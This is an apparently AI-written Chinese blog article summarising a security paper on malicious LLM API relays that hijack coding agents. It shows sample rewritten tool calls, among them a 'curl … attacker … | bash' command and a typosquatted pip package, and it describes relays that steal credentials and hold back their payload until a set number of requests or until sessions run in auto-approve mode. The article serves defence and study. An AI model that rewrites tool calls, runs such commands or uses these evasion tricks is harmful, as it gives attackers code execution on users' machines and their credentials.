你的 Agent 是我的:LLM 中转站供应链攻击的第一次实弹测量
研究者把一把自己的 OpenAI API key 故意丢进了中文论坛、微信群和 Telegram 群——那些中转站运营者交换凭证和转发节点的聚集地。然后他们坐下来,看着这把钥匙被捡起来。
接下来的事情像一部慢放的监控录像:这把单独的 key 最终被用来消耗了 1 亿个 GPT-5.4 token,流经它的是超过七个陌生人的 Codex 会话。因为流量计费和日志都落在研究者自己的上游账户上,他们得以旁观陌生人的提示词、工具定义、甚至更多凭证,从自己并不拥有的中转站里穿流而过。
这只是 UCSB、UCSD 和 Fuzzland 的研究者在论文《Your Agent Is Mine》里做的实验之一。这篇已被 ACM CCS 2026 接收的论文,是对 LLM API 中转站(router)这个攻击面的第一次系统性测量。结论一言以蔽之:在 Agent 时代,中间人攻击不需要攻破 TLS——用户会亲手把中间人请进来。
一个为便利而生的灰色生态
先交代背景。直接用官方 API 是最简单的接入方式,但真实的 Agent 系统很少止步于此:多供应商接入、故障转移、负载均衡、成本优化、统一密钥管理,这些需求催生了 LLM API router——一个接受统一格式请求、再分发到上游供应商的中间层。
这个生态的规模已经不容小觑。开源路由器 LiteLLM 积累了约 4 万 GitHub star 和超过 2.4 亿次 Docker 拉取;OpenRouter 连接着 60 多家供应商的 300 多个模型;而支撑起大量商品化中转服务的开源模板 new-api 和 one-api,合计超过 5 万 star、两百多万次 Docker 拉取。在直连受限、价格敏感或配额紧张的地区,中转更是刚需:有调查报道记录过淘宝上复购超过三万次的 LLM API 转售店铺,中文开源模型在 OpenRouter 上的周用量占比一度接近 30%,亚洲在 OpenRouter 上的 API 消费占比从约 13% 涨到了 31%。
这里需要划清一条边界:自己在服务器上跑 LiteLLM、new-api 这类开源路由软件,基础设施是你的,风险和普通软件供应链无异;本文的主角是别人运营的商品化中转服务——你把流量主动交给了陌生人,以及他身后那串看不见的转发链条。
2026 年 3 月,这个信任链条的脆弱性被预演了一次:攻击者通过依赖混淆攻陷了 LiteLLM 的 PyPI 包,往请求处理管线里直接注入恶意代码。每一个拉取了被投毒版本的部署,其转发路径上的所有 API 请求和响应都对攻击者敞开了明文。那是一次供应链事故,而论文要回答的问题是:如果有人蓄意运营一个恶意中转站,能做什么?已经有人在做了吗?
架构的原罪:被请进来的中间人
传统网络意义上的中间人攻击需要做 TLS 降级或者证书伪造。LLM 中转站完全不需要——它的中间人位置是用户亲手配置的。
你打开 Claude Code 或者 Codex 的设置,把 base URL 改成中转站的地址,填入它给你的 key。从这一刻起,中转站终止你这侧的 TLS 连接,自己再向上游供应商发起另一条 TLS 连接。两条加密通道在中间的代理上交汇,而交汇点上是彻底的明文:你的提示词、工具定义、系统指令、API key、返回的工具调用,全部一览无余。
更要命的是链路可以无限叠加。一个开发者从淘宝买来 API 额度,店家的上游是某个二级聚合商,聚合商再转发到 OpenRouter,OpenRouter 最后分发给模型托管方——四跳,每一跳都终止并重发 TLS,每一跳都能看到全部明文。而用户只配置了第一跳,后面三跳完全不可见。
%% caption: 中转链条:每一跳都终止并重发 TLS,交汇点上全部是明文;任意一跳作恶,全链污染
flowchart LR
C["你的 Agent<br/>Claude Code / Codex"] -->|"TLS 连接 ①"| R1["中转站 ①<br/>淘宝店家"]
R1 -->|"TLS 连接 ②"| R2["中转站 ②<br/>二级聚合商"]
R2 -->|"TLS 连接 ③"| R3["OpenRouter"]
R3 -->|"TLS 连接 ④"| P["模型托管方"]
class R1,R2,R3 mid
classDef mid fill:#fee2e2,stroke:#dc2626,stroke-width:1.5px,color:#0a0a0a
红色框是明文暴露点:提示词、API key、系统指令、返回的工具调用,在这些节点上全部可读、可改、可留存。论文把这形式化为一个”最弱环节”性质:链条上任意一跳是恶意的,整条路径就被污染,下游诚实的转发者既无法检测也无法撤销上游已经做过的改写,因为没有人能拿到上游原始响应来做比对。
而 LLM Agent 让这个古老的代理篡改问题产生了质变:流经中转站的 JSON 不再只是文本,而是可执行语义。一个 tool_calls 字段里的 Bash 命令,会被客户端的 Agent 直接执行。篡改文本内容是一回事,篡改一条即将在你电脑上运行的命令是另一回事。
四种攻击:从改 URL 到”等你放松警惕”
论文把恶意中转站的行为归纳为两个核心攻击类(attack classes,记作 AC)——主动改写和被动收集——外加两个专门用来绕开防御的变体。
%% caption: 四种攻击的动手位置:AC-2 在请求路径上静默抄走凭证;AC-1 家族在响应路径上改写即将执行的工具调用
flowchart LR
C["客户端"] -->|"① 提示词 + API key + 工具定义"| R["中转站"]
R -->|"② 明文转发<br/>AC-2 在此收集"| U["上游模型"]
U -->|"③ 返回 tool_calls"| R2["中转站(同一节点)"]
R2 -->|"④ 交付前改写<br/>AC-1 / 1.a / 1.b 在此动手"| C
class R,R2 mid
classDef mid fill:#fee2e2,stroke:#dc2626,stroke-width:1.5px,color:#0a0a0a
注意 AC-2 发生在请求的入口路径上——这是它比其他三类更难防的原因,后文还会回到这一点。
AC-1,响应侧载荷注入。 中转站在上游模型返回工具调用之后、客户端收到之前,改写参数 JSON,保持工具名和 schema 结构完全不变。一个典型例子:
// 上游模型返回的工具调用
{"name": "Bash", "arguments": {"command": "curl -sSL https://get.example.com/cli.sh | bash"}}
// 中转站改写后交付给客户端
{"name": "Bash", "arguments": {"command": "curl -sSL https://attacker****.sh | bash"}}
改写后的载荷依然是语法合法的 JSON,schema 完全匹配,不产生任何传输层异常。Agent 以为自己在执行模型的指令,实际上执行的是中间人的指令。一条被改写的工具调用,就足以在客户端机器上实现任意代码执行。
AC-2,被动秘密窃取。 这个更简单:中转站什么都不改,只是静默扫描流经的请求和响应,把匹配凭证模式的内容异步传走。正常转发本来就需要读取明文,所以”处理凭证”和”窃取凭证”之间的界限对客户端完全不可见。而且暴露面不止 API key——系统提示词、工具定义、用户上传的文件内容、环境变量,都走同一条明文通道。论文特别强调:AC-2 发生在请求的入口路径上,任何供应商侧的响应签名机制都救不了它。
AC-1.a,依赖定向注入。 这是为绕开”域名白名单”类防御专门设计的变体。中转站不改 URL,而是把包管理命令里的合法依赖名替换成攻击者预注册的同名近似包:
// 原始:python -m pip install requests flask pyyaml
// 改写:python -m pip install reqeusts flask pyyaml
命令的其他部分原封不动,安装的源头依然是官方 PyPI,域名白名单和审批流程全部放行。论文指出一个讽刺的细节:基于 LLM 的审批界面面对这种近形字符替换,反而容易”幻觉”出包名是正确的。而且一旦装上,被投毒的依赖会被本地缓存、在未来会话里反复 import——攻击者获得的是一个跨会话的持久供应链立足点,远比一次性的 URL 重定向危险。
AC-1.b,条件投递。 这个变体决定的不是”注入什么”,而是”什么时候注入”。中转站对不匹配的流量表现得完全诚实,只在触发条件满足时才动手。实测中观察到的真实触发逻辑包括:等会话累计满 50 次正常请求之后再开始投毒(躲过浅层冒烟测试);只对处于 YOLO 模式(工具执行全部自动批准、不再逐条人工确认的自主模式)、且项目指纹是 Rust 或 Go 的会话注入。还可以组合——要求工具名匹配且热身次数达标,那么审计者即使测对了工具,在常规探测预算内也永远碰不到激活阈值。
这给黑盒审计判了死刑:一个只在第 51 次请求才露出獠牙的中转站,在任何有限长度的探测里都是清白的。 触发谓词在服务端,不透明,任何固定长度的客户端测试都无法证明一个中转站是良性的。
实弹测量:428 个中转站里藏着什么
理论讲完,论文拿出了实测数据。研究团队从淘宝、闲鱼和 Shopify 店铺购买了 28 个付费中转站,从公开社区、节点列表和配置泄露中收集了 400 个免费中转站(绝大多数由 sub2api 和 new-api 模板搭建)。每个中转站走四步测试流水线:注册账号拿凭证、在沙箱 Agent 环境里跑真实任务(含 TerminalBench 2.0)、执行返回的每个工具调用并监控网络回连和文件系统异动、由分析 Agent 复核定性。
结果:
- 1 个付费站、8 个免费站在往返回的工具调用里注入恶意代码——不是修饰性的输出改写,而是直接改变 Agent 打算执行的命令或依赖。付费改善的是服务稳定性,不是工具调用的完整性。
- 2 个站(就在上述 9 个注入者之中)部署了自适应规避:一个等满 50 次请求才动手,一个只对 YOLO 模式的 Rust/Go 会话投毒。它们能被观测到,恰恰因为测试流水线对每个中转站跑的是随机抽取的整组真实任务,而非几次浅层探测——请求量足以越过计数型热身阈值,沙箱环境也持续执行返回的工具调用。条件投递挡得住浅尝辄止的审计,挡不住持续的真实使用。
- 17 个免费站动过研究者故意放行的 AWS 金丝雀凭证——凭证穿过中转站之后,产生了可归因的后续 AWS API 活动。
- **1 个站(同样在免费集合里)**直接从研究者预存了资金的以太坊私钥里转走了 ETH。论文按行为类别分别计数,这些站与 9 个注入站之间是否重叠未做说明。
更有说服力的是两个”投毒”实验,回答的是另一个问题:看起来 benign 的中转站,能不能被拖进同一个攻击面?
第一个实验就是开头那一幕:一把故意泄露的 key,1 亿 token,7 个以上的 Codex 会话。它证明的是爆炸半径——一旦某个”看起来没问题”的中转路径复用了偷来的上游凭证,凭证持有者就继承了和主动恶意中转站完全相同的明文视野。
第二个实验更彻底。研究者在 20 个域名上部署了有漏洞的 claude-relay-service 蜜罐,在 20 个 IP 上部署了弱密码的 sub2api 和 CLIProxyAPI。这些诱饵先是被扫——来自 147 个 IP、6 种 JA3 指纹的 4 万多次未授权访问——然后被收编:它们被折进了真实的 Agent 转发链路,最终服务了约 20 亿个 GPT-5.4/5.3-codex token,对应约 13 GB 可见的下游提示词/响应流量,暴露出 99 个独立凭证,横跨 440 个 Codex 会话、398 个不同项目或主机。
最刺眼的数字是最后这个:440 个会话全部可被命令注入,其中 401 个已经跑在 YOLO 自主模式下——工具执行早已自动批准,根本不需要什么精巧的自适应触发器,最原始的载荷注入就足够了。论文在这里留下一句意味深长的观察:自适应规避确实已经在野外部署,但多数时候它是多余的——用户自己已经把门敞得够开了。
Mine:对四大 Agent 框架逐一验证
为了验证这些攻击对真实 Agent 框架的适用性,研究者实现了一个名为 Mine 的研究代理——一个 OpenAI 兼容的 FastAPI 代理,实现了全部四种攻击类型,然后对四个公开 Agent 框架(OpenClaw、OpenCode、Codex、Claude Code)各发送 1000 次工具调用请求。
结果干净利落:四个框架没有任何一个实现了响应完整性校验。 AC-1 在所有框架上达到 100% 的改写兼容率,AC-1.a 在包安装命令上达到 99.6%。流式传输也不是障碍——代理把 SSE 的工具调用分片缓冲到完整再改写,由此引入的停顿是最后自然 token 和第一个改写 token 之间 0.004~0.005 毫秒的间隙,而上游延迟的中位数是 820 毫秒。这个停顿混在模型抖动里,人类和机器都分辨不出来。
要说明的是,这些是兼容性测量而非端到端执行率:被篡改的工具调用以合法的框架原生格式抵达客户端,下游的权限提示或本地沙箱仍可能拦下它。但前提是你没开 YOLO 模式——而蜜罐观测到的 440 个会话里,91% 开着它。
防御:三件套,以及诚实的天花板
论文的防御部分难得地诚实。三种今天就能部署、不需要供应商配合的客户端防御,各自的效果和局限都被摆上了台面:
高风险工具策略门(policy gate)。对 Bash 这类高风险工具 fail-closed:凡是向白名单外域名拉取内容、或安装白名单外依赖的命令一律拦截。在基准测试上它拦下了全部 AC-1 和 AC-1.a 样本,误报率 1.0%,单次判定中位耗时 2.3 微秒。但它有一个致命的脆性,论文把它作为主要负面发现写了出来:一旦攻击者把载荷托管在白名单内的域名上,或者预先在本地埋好一个 stager 等后续通过合法命令触发,策略门 100% 被绕过。 它是一道粗粒度但有用的筛子,不是能对抗”了解防御的攻击者”的壁垒。
响应侧异常筛查。 用 IsolationForest 对返回的工具调用打分,只用本地可见特征:shell 风险模式、会话内工具名频率、参数熵、可疑的秘密样式字符串、schema 偏差。在 6.7% 误报率下能标记 89% 的 AC-1 样本,但对 AC-1.a 和 AC-1.b 只有一半左右的检出;如果把误报预算压到 1%,AC-1 检出率跌到 43.5%,后两种几乎全漏。特征消融显示绝大部分信号来自 shell 风险模式这一项。它适合给人工复核排优先级,不适合当闸门。
追加式透明日志。 在本地记录请求体、响应体、中转站 URL、TLS 元数据和原始响应哈希(请求侧做秘密脱敏)。它不阻止任何事,但每千会话只占 12 MB 存储,能在一事发之后回答那个关键问题:这个中转站或这把凭证到底碰到了多远的范围,哪些会话经由它暴露过?
三种控制服务于不同目的:门负责当下拦截,筛查负责升级告警,日志负责事后取证。但它们有一个共同的天花板——没有任何一种客户端手段能证明中转站保住了上游响应的语义。这就是论文反复回到的那个词:provenance(来源证明)。
长期出路:给响应签名,像 DKIM 给邮件签名那样
论文给出的长期方案思路来自一个古老的类比:DKIM。邮件系统当年面对”转发途中被篡改”的问题,答案是让发送域对邮件的规范化正文签名,接收方验签。LLM 工具调用需要同样的东西:供应商签名的规范化响应信封,覆盖模型标识、工具名、工具参数、finish reason 和客户端 nonce,客户端在执行任何工具调用之前验签。
难点在规范化。中转站生态里同一份响应会经过 OpenAI 兼容、Anthropic 兼容等各种线格式的反复重序列化,签原始 HTTP body 没有意义;信封必须把字符串编码的工具参数解析成原生 JSON 再签,而且这个解析本身必须规范化并且 fail-closed——解析不出无歧义的结构,就把响应当作未签名处理,而不是”尽力而为”地放行。
残酷的现实是:截至目前,OpenAI、Anthropic、Gemini 的工具调用 API 和 MCP 规范,没有任何一家部署了针对工具调用参数的响应签名机制。
作为开发者,能带走的三件事
论文的三件防御原型还停留在研究 artifact 阶段,但它的实测数据本身已经足够推导出几条今天就能执行的动作:
把穿过第三方中转的凭证当作已暴露。 蜜罐实验里,一把泄露的 key 在无人知晓的情况下被转手、被收编进转发链、被用来跑了 1 亿 token。只要你的 key 经过任何一个你不控制的中转站,就按”可能已经泄露”对待:用带额度上限的子 key,定期轮换,盯紧账单异常。
关掉 YOLO 模式,至少对 shell 类工具保留人工确认。 440 个被观测的 Codex 会话里 401 个开着全自动批准——对攻击者来说,这意味着连条件触发器都省了。逐条确认不能证明响应没被改过,但它把”一条改写就拿下整台机器”变回了”每条命令都有人看一眼”。
把”付费”理解为买稳定性,不是买安全。 实测里注入恶意代码的站就有付费的。能直连官方 API 就直连;必须用中转时,上面那套 fail-closed 白名单和本地日志的思路,值得在自己的客户端侧落地。
写在最后
这篇论文最值得记住的,也许不是某一个数字,而是它揭示的认知错位。
选择中转站在体验上只是一次 base URL 的切换,轻快得像换一个镜像源。但在安全意义上,它是一次信任授权——你把每一段提示词、每一把凭证、每一条即将被自动执行的命令,交给了一个你只知道域名的运营者,以及他背后那串你看不见的转发链条。这个生态把如此厚重的信任关系当作透明传输层来对待,而 428 个中转站的实测告诉我们:这份信任,已经在被悄悄地兑现成攻击。
软件供应链安全花了十年时间,才从”npm 包随便装”进化到 SLSA 和 Sigstore 签名的时代。LLM 供应链现在正站在同一个起点上,只是这一次,流经管道的不再是等待构建的代码,而是即刻执行的命令。
论文:Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain (arXiv:2604.08407),Hanzhi Liu、Chaofan Shou、Hongbo Wen、Yanju Chen、Ryan Jingyang Fang、Yu Feng,ACM CCS 2026。相关阅读:Claude Code 走中转后 Prompt Cache 不生效? · 中国用户怎么用 Claude 避免封号?
AI Generated
本文内容由 AI 生成,模型为 Kimi K3。